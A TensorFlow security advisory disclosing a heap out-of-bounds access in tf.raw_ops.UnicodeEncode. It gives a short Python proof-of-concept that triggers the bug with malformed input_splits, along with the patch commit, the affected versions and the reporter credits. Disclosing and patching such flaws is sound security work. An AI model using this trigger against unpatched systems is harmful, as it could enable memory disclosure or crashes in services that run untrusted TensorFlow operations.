Heap OOB access in unicode ops

Impact

An attacker can access data outside of bounds of heap allocated array in tf.raw_ops.UnicodeEncode:

import tensorflow as tf

input_values = tf.constant([58], shape=[1], dtype=tf.int32)
input_splits = tf.constant([[81, 101, 0]], shape=[3], dtype=tf.int32)
output_encoding = "UTF-8"

tf.raw_ops.UnicodeEncode(
    input_values=input_values, input_splits=input_splits,
    output_encoding=output_encoding)

This is because the implementation
assumes that the input_value/input_splits pair specify a valid sparse tensor.

Patches

We have patched the issue in GitHub commit 51300ba1cc2f487aefec6e6631fef03b0e08b298.

The fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.

For more information

Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.

Attribution

This vulnerability has been reported by Ying Wang and Yakun Zhang of Baidu X-Team.